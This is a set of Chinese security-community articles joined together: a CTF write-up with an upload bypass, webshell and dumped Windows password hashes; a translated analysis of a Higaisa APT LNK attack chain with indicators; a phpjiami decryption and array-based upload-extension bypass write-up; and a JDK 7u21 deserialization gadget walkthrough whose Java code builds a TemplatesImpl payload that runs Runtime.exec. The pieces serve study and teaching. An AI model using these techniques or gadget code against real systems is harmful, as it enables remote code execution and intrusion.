首先呢获取admin的用户名
靶机进不去我也没办法截图了。=。=
首先呢。是一个 这个是后台
<http://83fbe8d0-8b2a-45e1-bed5-f71870eb9476.dgctf.ichunqiu.com/admin/login.php>
发现一个git源码泄露。
先把源代码拖下来，分析源代码
在源码中发现密码
然后登陆了发现没啥用啊，
发现一个上传点
但是上传马子也没用。
继续看源代码，
发现了一个很有意思的东西。这里有一个执行系统命令的方式。
然后查看到name 的方式是一个 image.png 的方式
<http://83fbe8d0-8b2a-45e1-bed5-f71870eb9476.dgctf.ichunqiu.com/admin/uploads/3.php.png>
传一个3.php.png 就可以绕过这个方式。
查看到icuhunq 账号的全名了。然查看一下tmp下面的东西
41c74c52c82f40d1
5.反客为主
首先说下这道题目很无奈啊。一直走了弯路
<http://586d6c10-72cf-40c1-88c3-4f957a66de98.dgctf.ichunqiu.com//info/include.php?filename=info.txt>
这个地方可以查询到phpinfo() .我也具体没有问胖虎老哥怎么操作的
然后扫描到了一个phpmyadmin1 账号是root 密码是root
写了一个一个马子 。
<http://586d6c10-72cf-40c1-88c3-4f957a66de98.dgctf.ichunqiu.com//info/include.php?filename=c:\phpStudy\MySQL\data\anonymit-facc07.log>
继续写一句话木马，，写完之后，菜刀连接不上去
一直报错，然后，通过火狐就行，
最后发现自己走了弯路，
里面竟然还有一个DVWA1
进去之后直接传一个大马。但是whoami 执行不了。
<http://586d6c10-72cf-40c1-88c3-4f957a66de98.dgctf.ichunqiu.com/DWVA11/hackable/uploads/123456.php>
读取到了ichunqiu的password.txt
但是没有获取到密码，传了一个1.exe 之后呢。然后执行
获取到如下hash
Administrator:500:NO PASSWORD ** ** ** ** *************
:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:NO PASSWORD ** ** ** ** ************* :NO PASSWORD ** ** ** **
************* :::
HelpAssistant:1000:FF32E2402C643C14A477DD26FE6F9613:969D07AB59FC7A7BD4CFB7F001DFD2B8:::
SUPPORT_388945a0:1002:NO PASSWORD ** ** ** ** *************
:4058770F88BD4978288CA9A2CC922DCC:::
ichunqiu:1003:78BEAA5511AFA889B75E0C8D76954A50:4FFE895918A454CE0F872DAD8AF0B4DA:::
net:1004:1F27ACDE849935B0AAD3B435B51404EE:579110C49145015C47ECD267657D3174:::
willweiwei:1011:AB042C5A1F89B5ADAAD3B435B51404EE:5A36B1D186AD5E913C6C3696724A4070:::
破解一下icunqiu的密码为123qwe123 | 社区文章 |
**原文链接：[New LNK attack tied to Higaisa APT
discovered](https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/
"New LNK attack tied to Higaisa APT discovered")**
**译者：知道创宇404实验室翻译组**
5月29日，我们发现了一起网络攻击事件，我们认为这该事件是由一名叫做Higaisa的渗透攻击黑客发起的。有关信息显示：Higaisa
APT与朝鲜半岛有关，并于2019年初被腾讯安全威胁情报中心进行了首次披露。
该小组的活动可以追溯到2016年，活动内容包括使用特洛伊木马（例如Gh0st和PlugX）以及移动恶意软件，活动目标包括政府官员、人权组织以及与朝鲜有关的其他实体企业。
在近期的攻击活动中，Higaisa使用了一个恶意快捷文件，该文件最终导致了一个包含恶意脚本、有效载荷和欺诈PDF文档内容的多阶段攻击行为。
### 变体分发
黑客们使用了捆绑在存档中的恶意LNK文件，该文件可能以钓鱼网络形式进行传播。在今年5月12日至31日，此攻击活动的的两大变体已进行了分发：
* “CV_Colliers.rar”
* “Project link and New copyright policy.rar”
两个RAR归档文件都捆绑了两个恶意LNK文件。在较新的版本（CV_Colliers.rar）中，LNK文件被伪装为简历（CV）和国际英语语言测试系统（IELTS）考试成绩，而旧版本(Project
link 和 New copyright policy.rar)针对的似乎是使用[zeblin.io](https://zeplin.io/
"zeblin.io")的产品团队。
下图显示执行恶意LNK文件的总处理流程：
流程图
### LNK文件
LNK文件包含一个在运行时执行的命令列表以及一个blob，它是由base64编码的有效负载。下图是将要执行的命令列表：
恶意的lnk命令
1. 将LNK文件的内容复制到％APPDATA％临时目录的“g4ZokyumB2DC4.tmp”中。
2. 将“certutil.exe”内容复制到“gosia.exe”中（“ _ertu_.exe用于绕过安全测”）。
3. 使用“findstr.exe”查找base64 blob，并将其写入“cSi1rouy4.tmp”。
4. 使用“gosia.exe -decode”（certutil.exe -decode）对“cSi1rouy4.tmp”的内容进行解码，并将其写入“o423DFDS4.tmp”。
5. 使用`expand.exe -F:*`在temp目录中解压缩“o423DFDS4.tmp”的内容和PDF文档。
6. 将“66DF33DFG.tmp”和“34fDKfSD38.js”文件复制到“C：\Users\Public\Downloads”目录中。
7. 通过调用Wscript执行JS文件。
8. 打开诱饵文件。
“o423DFDS4.tmp”cab文件的内容
该LNK快捷方式执行的命令列表与Anomali在[Higasia
Covid-19运动中](https://www.anomali.com/blog/covid-19-themes-are-being-utilized-by-threat-actors-of-varying-sophistication)报告的命令列表相同。唯一的区别是tmp文件的名称和certutil.exe的名称（在此新情况下为“gosia.exe”）不同。
嵌入在归档文件中的两个LNK文件使用不同的 Command and Control(c&c)配置执行相似的命令，运行时会显示一个不同的诱饵文件。
简历文档
雅思考试成绩诱饵文件
### JS文件
JavaScript文件执行以下命令：
* 在“C:\Users\Public\Downloads”中创建“d3reEW.exe”，并将“cmd/c ipconfig”存储在其中。
* 执行删除的“svchast.exe”。
* 将“svchhast.exe”复制到启动目录，并将其重新命名为“officeupdate.exe”。
* 将“officeupdate.exe”添加到计划任务中。
* 将以d3reEW.exe作为数据的POST请求发送到硬编码的URL。
JS内容
POST请求
## svchast.exe
Svchast.exe是一个小型加载程序，它加载存储在“63DF3DFG.tmp”文件的shellcode的内容中。
svchast.exe的主要功能
实际上，此shellcode是最终shellcode的外壳。它会执行一些检查，然后调用最终的shellcode。
调用最终的shellcode
最终的shellcode由动态解析导入，并为将要执行的内容分配内存。
为新线程分配内存
最后，调用“CreateThread”内存空间，并创建一个线程向C＆C服务器发出HTTPS请求。
由于在分析时服务器已经关闭，因此我们无法明确此攻击的最终目标。
### 规避技术
尽管大多数恶意软件攻击活动都使用简单的诱饵文档来获取有效负载，但更高级的攻击者通常会使用非常规手段来感染受害者。
我们在实验室中使用电子邮件作为感染媒介重现了这种攻击，因为我们推测受害者是被钓鱼的。
Malwarebyte（在本例中为[Nebula](https://www.malwarebytes.com/business/cloud/)商业版）停止了WinRAR中LNK文件的执行，因此完全阻止了攻击。
## IoCs
df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d
c3a45aaf6ba9f2a53d26a96406b6c34a56f364abe1dd54d55461b9cc5b9d9a04
50d081e526beeb61dc6180f809d6230e7cc56d9a2562dd0f7e01f7c6e73388d9
1074654a3f3df73f6e0fd0ad81597c662b75c273c92dc75c5a6bea81f093ef81
c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b
dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6
c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5
sixindent[.]epizy[.]com
goodhk[.]azurewebsites[.]net
zeplin[.]atwebpages[.]com
45.76.6[.]149
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.76.6.149
"ZoomEye搜索结果")）
www.comcleanner[.]info
* * * | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html "phith0n@长亭科技")
Pwnhub 公开赛出了个简单的 PHP 代码审计题目，考点有两个：
1. 由 <http://www.phpjiami.com/> 加密过的源码还原
2. 上传取后缀方式不同导致的文件上传漏洞
如果说仅为了做出题目拿到 flag，这个题目太简单，后台也有数十名选手提交了答案和 writeup。但深入研究一下这两个知识点，还是很有意思的。
首先通过简单的目录扫描，找到备份文件
index.php.bak。下载后发现文件是经过了混淆加密处理的，大部分同学是直接网上找了付费解密的网站给解的，也有少数几个人说明了解密方法，我挑几种方法说一下。
#### 0x01 phpjiami 代码分析破解法
这种方法我最佩服了，作者甚至给出了解密脚本，文章如下： <http://sec2hack.com/web/phpjiami-decode.html> 。
我自己在出题目之前也进行过分析，但后面并没有耐心写一个完整的脚本出来，所以我十分佩服这个作者。
我们分析 phpjiami 后的文件，可以看到他有如下特点：
1. 函数名、变量名全部变成“乱码”
2. 改动任意一个地方，将导致文件不能运行
之所以函数名、变量名可以变成“乱码”，是因为PHP的函数名、变量名是支持除了特殊符号以外大部分字符的，比如汉字等。利用这一特点，phpjiami
就将所有正常的英文变量给转换了一下形式，其实没有什么特别的奥秘。
那么，为了方便分析，我们可以想办法再将其转换回英文和数字。比如，作者使用的是 <http://zhaoyuanma.com/phpcodefix.html>
对混淆过的代码进行美化；而我是使用 <https://github.com/nikic/PHP-Parser>
对整个代码进行了结构化的分析，并将所有变量和函数名进行了美化。
方法一的好处是我不需要写任何代码，就可以大致进行美化，但显然，美化后的代码是有错误的，原文中也提到了这一点；方法二，虽然需要自己写代码，但美化后的代码没有语法错误，看起来更加直观，并且我还能进一步的进行美化，比如将字符串中的乱码转换成\x的形式。
我美化后的代码如下：
后续的操作和上文也差不多，通过源码的分析，正如上文中所说，phpjiami 加密源码的整个流程是：
> 加密流程：源码 -> 加密处理（压缩，替换，BASE64，转义）-> 安全处理（验证文件 MD5 值，限制
> IP、限域名、限时间、防破解、防命令行调试）-> 加密程序成品，再简单的说：源码 + 加密外壳 == 加密程序 (该段出处)
所以，其实这种方法并没有对源码进行混淆，只是对“解密源码的壳”进行了混淆。所以你看到的中文变量、中文函数，其实是一个壳，去掉这层壳，我可以拿到完整的PHP源码。
所以呀，后台提交的 writeup 里，有的同学想当然地认为修改 eval 为 echo
就能输出源码了……实际上根本没实际试过，改动文件是会导致不能运行的；还有同学认为这里仅是将源码混淆为用户体验极差的代码，导致人眼无法阅读，并没有理解这里其实混淆的不是源码。
#### 0x02 HOOK EVAL 法
0x01中说到的方法固然是很美好的，但是假如加密者随意改动一点加密的逻辑，可能导致我们需要重新分析加密方法，写解密脚本。我们有没有更通用的方法？
HOOK EVAL应该是被提到过最多的方法，我也看到了 Medici.Yan
发布的一篇[文章](http://blog.evalbug.com/2017/09/21/phpdecode_01/ "文章")。
我前文说过，phpjiami 其实是只是混淆了壳，这个壳的作用是执行真正的源码。那么，执行源码必然是会经过 eval
之类的“函数”（当然也不尽然），那么，如果我们能够有办法将 eval 给替换掉，不就可以获得源码了么？
遗憾的是，如果我们仅仅简单地将 eval 替换成 echo，将导致整个脚本不能运行——因为 phpjiami 检测了文件是否被修改。
那么，我们可以寻求更底层的方法。就是很多人以前提到过的，将 PHP 底层的函数 `zend_compile_string`
给拦截下来，并输出值。Medici.Yan 的文章中说的很清楚，也给出了参考文档和源码，我就不再赘述了。
我自己简单写了一个扩展，并用 php5.6 编译：
<https://drive.google.com/open?id=0B4uxE69uafD5anVTZ1VwNXN0WEU>
下载之，在 php.ini 中添加 `extension=hookeval.so`，然后直接访问加密过的 php 代码即可（当时参考 tool.lu 的站长
xiaozi 的[代码](http://type.so/c/php-dump-eval.html "代码") ，所以分隔符里有关键字）：
16年 kuuki
曾分享过一个[在线解密的工具](https://xianzhi.aliyun.com/forum/read/64.html></https://xianzhi.aliyun.com/forum/read/64.html
"在线解密的工具")，但测试了一下 phpjiami 解密不了。原因是，phpjiami 在解密的时候会进行验证：
php_sapi_name() == 'cli' ? die():'';
所以如果这个源码是在命令行下运行，在执行这条语句的时候就 die 了。所以，即使你编译好了 hookeval.so 并开启了这个扩展，也需要在 Web
环境下运行。
提高篇：有没有什么简单的办法在命令行下也能模拟 web 环境呢？方法我先不说，大家可以自己思考思考。
#### 0x03 手工 dump 法
那么有的同学说：php 扩展太难了，我不会写C语言，怎么办？
不会写C语言也没关系，你只需要会写 PHP
即可。这是我凤凰师傅提到的一个方法，也是我理想中的一个解，非常简单，两行代码搞定，解密用时比你去网上花钱解密还短：
<?php
include "index.php";
var_dump(get_defined_vars());
原理其实也很简单。phpjiami 的壳在解密源码并执行后，遗留下来一些变量，这些变量里就包含了解密后的源码。
虽然我们不能直接修改 index.php，将这些变量打印出来，但是我们可以动态包含之，并打印下所有变量，其中必定有我们需要的源码（`var_dump`
输出的不完整，只是用它举个例子）：
当然，这个方法虽然简单，但有个很严重的问题：假如在执行源码的过程中`exit()`了，我们就执行不到打印变量的地方了。
所以，这个方法并不一定适用于所有情景，但对于本题来说，已经足够了。
#### 0x04 动态调试法
那么，如果我们遇到0x03解决不了的情况怎么办？
这时候就要祭出动态调试武器了。尽管加密后的文件看起来乱七八糟，但其仍然是一个符合 php 语法的 php
文件，那么我们就可以直接利用动态调试工具进行单步调试，拿到源码。
简单拿 xdebug 进行调试，不停单步调试后，就可以发现我们需要的源码已经在上下文变量中的：
右键“复制值”，即可拿到源码。这也算一个比较简单的方法了。
当然，假如有一天 phpjiami 修改了混淆流程，源码不再储存于变量中，那么就需要分析一下代码执行的流程。所谓万变不离其中，最终断在 eval
的那一步，一定有你需要的源码。
#### 0x05 代码审计 Getshell
后面的部分反而比较简单。拿到 index.php 的源码后，发现其包含了 FileUpload.class.php，所以再次下载这个文件的源码进行解密。
分析 FileUpload
类，发现其取后缀有两种方式：将文件名用`.`分割成数组`$arr`，一是用`$arr[count($arr)-1]`的方式取数组最后一个元素，二是用`end($arr)`的方式取数组最后一个元素。
正常来说，字符串用.分割成的数组，用这两种方法取到的末元素应该是相同的。但取文件名的时候，如果我们已经传入的是数组，则不会再次进行分割：
$filename = $_POST[...];
if(!is_array($filename)) {
$filename = explode('.', $filename);
}
也就是说我能控制 `$filename` 这个数组。所以，我只需要找到 `$arr[count($arr)-1]` 和 `end($arr)`
的区别，即可绕过后缀检查。
显然，前者是取根据数组下标来取的值，后者取的永远是数组里最后一个元素。所以，我们只需要让下标等于`count($arr)-1`的元素不是数组最后一个元素即可。
比如：`[1=>'gif', 0=>'php']`或者`['0'=>'abc', '2'=>'gif', '100'=>'php']`。
#### 0x06 总结
最后想说一句话：不求甚解是阻碍部分人进步的一大阻力。共勉。
* * * | 社区文章 |
## JDK反序列化Gadgets 7u21
预计阅读时间：30-60分钟
内容：具详细无比
## 前言
从fastjson1.24版本的反序列化利用方式知道有使用jdk7u21的版本利用链，ysoserial利用工具中也有7u21利用链。现在都是7u80版本了，这个漏洞真正直接利用，估计已经很难找到了。
但是这个利用链的构造有很多之前没接触过的java特性，就此好好学习一下，也算是fastjson的前置知识吧。
## POC
先去Oracle官网下载[漏洞jdk版本7u21](https://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html)，漏洞影响7u25之前的版本，整条链poc貌似只适用于7u21以前。
之所以说这是JDK反序列化链，是因为这个链中所有利用类都是jdk自带的类，其中payload最终关键类是`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类`。
我们从ysoserial源码中抠出7u21的利用代码来分析，具体代码由于比较长，不全部在此贴出，只截取需要的部分，所有代码已上传[github](https://github.com/lalajun/jdk7u21)。
`jdk7u21.java`是一个包含基础核心原理POC。（Gadgets类参考github，或者可以去ysoserial中取）
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
> 请注意TemplatesImpl类的getOutputProperties函数是一个以get开头的函数，这是这个利用链在fastjson组件利用的关键。
跟踪getOutputProperties方法，来确认恶意TemplatesImpl类calc 需要的条件，先看调用栈：
### newInstance
从调用栈中，可见最后是`obj.newInstance`（obj是虚指）触发poc执行恶意代码，调用栈再往下之后就是java
class类的newInsatance内部实现了，不细纠。
newinstance实例化会默认触发执行static方法，构造方法代码，如下：
所以我们的payload需要放在最后执行的恶意类的static或构造方法中。知道这点后，我们从头开始慢慢寻找其他需要条件。
跟入`TemplatesImpl类`的`getOutputProperties方法`：
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//我们进入newTransformer方法
}
catch (TransformerConfigurationException e) {
return null;
}
}
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer方法`
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//此处没有啥限制条件，进入getTransletInstance()
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance`方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
//限制条件1：TemplatesImpl类中的_name变量！=null
if (_name == null) return null;
//限制条件2：TemplatesImpl类中的_class变量==null
if (_class == null) defineTransletClasses();//进入此处，查看其他限制条件
// 漏洞触发代码就是下面这一行，_transletIndex是在defineTransletClasses()中赋值的，其实就是选取了一个特定条件的class获取它的实例。
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...//这里之后的代码不重要，省略
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在漏洞代码执行`AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].newInstance();`前，
先经过`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses`方法
private void defineTransletClasses()
throws TransformerConfigurationException {
//限制条件3：TemplatesImpl类中的_bytecodes变量！=null
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new
//限制条件4：TemplatesImpl类中的_tfactory变量需要有一个getExternalExtensionsMap方法
// 即需要是一个TransformerFactoryImpl类
TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
//以下主要做的事情是通过加载器从_bytecodes中加载类至_class。（bytecodes可以是一个数组转换为一个数组class）
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
//转化。ClassLoader.defineClass() 会转载javabyte变为class类，但是不会执行static代码。
_class[i] = loader.defineClass(_bytecodes[i]);
//获取转过来的class的父类
final Class superClass = _class[i].getSuperclass();
// 对于读取进来的class的父类进行限制，满足条件才改变_transletIndex的值
// 之后将获取class[_transletIndex]的实例
// ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 限制条件5：_bytecodes的类必须是ABSTRACT_TRANSLET的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
### _tfactory 与jdk版本
其中的限制条件4 _tfactory 这个参数是有说法的，在其他人博客中有存在对于 _tfactory 的参数的说明：
> 因为代码中存在 `_tfactory.getExternalExtensionsMap()` 所以需要 _tfactory 进行赋值 不能为null。
但其实这跟jdk版本是有关的，1.7下不同的jdk版本这段代码是不同的。
1.7u80版本的`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses`中就是存在`_tfactory.getExternalExtensionsMap()`这句代码的。
在1.7u80中，注释Gadgets类中添加
`_tfactory`这个字段的代码后（之后我们将详细分析Gadgets类），_tfactory=null就会发生null指针报错。
> 细心的同学可以注意到上面jdk1.7u80两个弹框成功不成功的下方都会null指针报错。
>
> 但是前者是在执行恶意代码AbstractTranslet translet = (AbstractTranslet)
> _class[_transletIndex].newInstance();后
> 的translet.postInitialization();处报错。
>
> 而后者是在恶意代码执行之前的defineTransletClasses函数报错。即没有成功执行payload
在同样注释`_tfactory`这个字段的代码的情况下，使用jdk1.7u21的环境，却可以成功执行，因为jdk1.7u21的情况下并没有`_tfactory.getExternalExtensionsMap()`这句代码。
但是1.7u21也可以兼容给_tfactory赋值的情况，所以还是给 _tfactory 赋值比较好，可以兼容不同的版本。
### TemplatesImpl恶意类的限制条件
至此总结我们构筑一个恶意的TemplatesImpl类，在调用这个恶意类的getOutputProperties方法时，需要满足的限制条件。即，构筑恶意TemplatesImpl类的需要条件。
1. TemplatesImpl类的 `_name` 变量 != null
2. TemplatesImpl类的`_class`变量 == null
3. TemplatesImpl类的 `_bytecodes` 变量 != null
4. TemplatesImpl类的`_tfactory`需要是一个拥有getExternalExtensionsMap()方法的类，使用jdk自带的TransformerFactoryImpl类
5. TemplatesImpl类的`_bytecodes`是我们代码执行的类的字节码。`_bytecodes`中的类必须是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`的子类
6. 我们需要执行的恶意代码写在`_bytecodes` 变量对应的类的静态方法或构造方法中。
## 构筑POC
回首漏洞原理的POC
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
在分析完第二句触发漏洞的语句后。回来看第一句构筑。由于需要动态对于类结构进行操作，有使用到[Javassist包](https://www.cnblogs.com/rickiyang/p/11336268.html)
Gadgets是ysoserial自主构建的一个利用类，看其中的createTemplatesImpl方法：
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
// 满足条件5：恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
ClassPool pool = ClassPool.getDefault();//Javassist包中建立一个容器
//添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
//从Classpath中寻找自定义的恶意模板类StubTransletPayload，引入它，之后对它进行修改
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 2.在自定义恶意类中添加静态模块，一句Rumtime.exec，命令从外部引入
// 满足条件6：需要执行的恶意代码写在类的静态方法或构造方法中。
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// 3.设置一个唯一性的class名称
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 4. 把我们的自定义的恶意类转化成byte数组模式
final byte[] classBytes = clazz.toBytecode();
// 4. 添加byte数组classBytes至_bytecodes字段，再添加一个另外准备的Foo类的字节（目前来看是多余的）
// 满足条件3：TemplatesImpl类的 `_bytecodes` 变量 != null
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// 5. 满足条件1：TemplatesImpl类的 `_name` 变量 != null
Reflections.setFieldValue(templates, "_name", "Pwnr");
// 6. 满足条件4：使TemplatesImpl类的_tfactory是一个拥有getExternalExtensionsMap()方法的类
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 没有设置_class，满足条件2：TemplatesImpl类的`_class`变量 == null
return templates;
}
瞅一眼`StubTransletPayload`类的继承。
//很优秀的按照要求继承了AbstractTranslet类
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
//以下看似是多余的，实际上是继承AbstractTranslet的必要，不然会报错。
//transform(DOM document, SerializationHandler[] handlers) 需要实现 AbstractTranslet 的一个虚拟类
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
//下面这个函数 需要实现AbstractTranslet类对应的Translet接口的一个接口
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
再瞅一眼往templates类的私有字段_bytecodes， _name ， _tfactory
这些属性中塞数据的`Reflections.setFieldValue`方法。这里是通过 **反射机制** 修改私有属性。
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);//获取了对应的字段后，进行赋值。
}
//Reflections#getField
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);//通过反射机制获取该字段
if (field != null)
field.setAccessible(true);//接触private限制
else if (clazz.getSuperclass() != null)
//判断父类，如果有父类，就获取父类的值，TemplatesImpl类没有父类，这里没用上。
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
可以看到上面的Gadgets类完美符合了我们之前在利用过程中提到的全部需要条件。但是Gadgets构造的恶意TemplatesImpl类比起我们需要的POC条件多1处东西：
1. _bytecodes多加了一个Foo.class类
我始终没有找到这个到底有啥用，去掉后实验，没有任何影响。如果有老哥知道，可以联系我，非常感谢。
### payload位置static与构造函数
自己构造一波payload，再分析一个payload放置位置的问题
public class jdk7u21_mine {
//从lala这个类中提取我们命令执行的字节码
public static class lala{
}
//步骤一 TemplatesImpl类
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态方法和构造方法均可，这边试一下构造方法
//cc.makeClassInitializer().insertBefore(cmd);
//这样可以直接添加构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{"+cmd+"}");
cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{lalaByteCodes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Reflections.setFieldValue(templates,"_bytecodes",targetByteCodes);
Reflections.setFieldValue(templates,"_name","lala"+System.nanoTime());
Reflections.setFieldValue(templates,"_class",null);
Reflections.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.getOutputProperties();
//一样可以触发
// templates.newTransformer();
}
>
> 以上需要注意一个情况，我们的恶意字节码类lala类，使用了static修饰符。其实我们payload写在构造函数中是可以不使用static修饰符不会影响。
>
> 但是如果我们想把payload写在static初始化块中，类就需要使用static修饰符时。不然最后实例化是不会成功的。
>
>
> 就相当于是以下的情况，内部类是不允许存在static修饰符的，原理可以[参考](https://blog.csdn.net/u010454030/article/details/80548732)。
>
>
>
>
> ps.突然发现非static方法块也是可以写payload.....但是不纠结这个了！！
至此我们完成了恶意Templates类构造以及`TemplatesImpl.getOutputProperties`触发点的分析（当然从上面的调用过程，我们知道直接调用`TemplatesImpl.newTransformer()`也是一样的，getOutputProperties其实就是调用了newTransformer()，在接下来的延长链中其实漏洞触发是在newTransformer）。
目前的结论已经可以移花接木到fastjson的利用链中形成一套完成利用链。以及其他很多组件的利用链的最后一步都是TemplatesImpl类（限于jdk1.7版本，1.8会编译错误，原因未知）。
但是就单独作为一条利用链来说，只有exp触发点和一点点长度的利用链是不够的，我们需要继续延伸到一个反序列化readObject点，使服务端一触发反序列化，就可以沿着利用链到exp触发点。
## 延长利用链——AnnotationInvocationHandler
AnnotationInvocationHandler这是一个熟悉的类，在commons-collections一文的1.7最基础的利用链中，我们正是使用了AnnotationInvocationHandler的readobject函数作为反序列化入口点。
然而这里跟AnnotationInvocationHandler的invoke函数有关。在这之前我们需要先了解java的动态代理性质。
### 动态代理
动态代理是java的特性之一，其实就可以理解为web应用中的拦截器，在执行正式代码之前先过一个拦截器函数（比如spring的AOP）。但是以上类比只是为了便于理解，实际上spring的AOP之类的拦截器反而是基于java的动态代理实现的。
下面将举例动态代理SubjectImpl类，即在SubjectImple类前面建立一个拦截器。
`DynamicProxy.java`
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
// 需要实现的接口（拦截动作是基于接口的，所以需要设定接口）
interface ISubject {
public void hello(String str);
}
// 实际的需要被代理的对象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}
// Handler对象（继承InvocationHandler的拦截器）
//InvocationHandler是一个用于跟Proxy类对接的接口
class Handler implements InvocationHandler {
private Object subject;
//构造函数，传入被代理实现类的实例
public Handler(Object subject) {
this.subject = subject;
}
//所有被Proxy拦截的函数都会经过这个接口的invoke函数
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
//完成拦截操作之后去调用被代理实现类，反射机制，传入实例，参数
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}
public class DynamicProxy {
public static void main(String[] args) {
//被代理类
SubjectImpl subject = new SubjectImpl();
//拦截器实现类，通过构造函数传入被代理类的实例
InvocationHandler tempHandler = new Handler(subject);
// 使用Proxy.newProxyInstance创建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(DynamicProxy.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}
`Proxy.newProxyInstance`三个传入参数：
* loader，选用的类加载器。感觉随便选就好了。
* interfaces，被代理类所实现的接口，这个接口可以是多个。（即需要拦截的接口）
* h，一个 实现拦截器的invocation handler。
之后只要我们调用了返回之后的对象中被安排了代理的接口，就会进入invocationHandler的invoke函数。
以上执行结果就是：
